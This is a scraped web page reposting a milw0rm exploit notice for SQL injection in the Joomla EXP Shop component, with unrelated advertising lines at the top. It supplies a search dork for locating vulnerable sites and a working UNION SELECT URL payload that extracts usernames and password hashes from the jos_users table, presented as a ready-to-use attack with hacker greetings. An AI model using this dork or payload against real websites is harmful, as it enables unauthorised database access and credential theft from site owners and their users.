Joomla Component EXP Shop (catid) SQL Injection Vulnerability

Play online games at GameDuell.
New Training Titles for Audio Software, Hardware & Technical Skills.
Shockwave has the game Risk! Buy it now!
Join LinkShare Today!
SYNC Outlook and Files on all your Computers

/---------------------------------------------------------------\
\                                				/
/         Joomla Component expshop Remote SQL injection         \
\                                				/
\---------------------------------------------------------------/
[*] Author    :  His0k4 [ALGERIAN HaCkEr]
[*] Dork      :  inurl:com_expshop
[*] POC        : http://localhost/[Joomla_Path]/index.php?option=
com_expshop&page=show_payment&catid={SQL}
[*] Example    : http://localhost/[Joomla_Path]/index.php?option=
com_expshop&page=show_payment&catid=-2 UNION SELECT @@version,
@@version,concat(username,0x3a,password) FROM jos_users--
-----------------------------------------------------------------
[*] Greetings :  All friends & muslims HaCkeRs...
[*] Greetings2:  http://palcastle.org/cc

(Captured From milw0rm.com)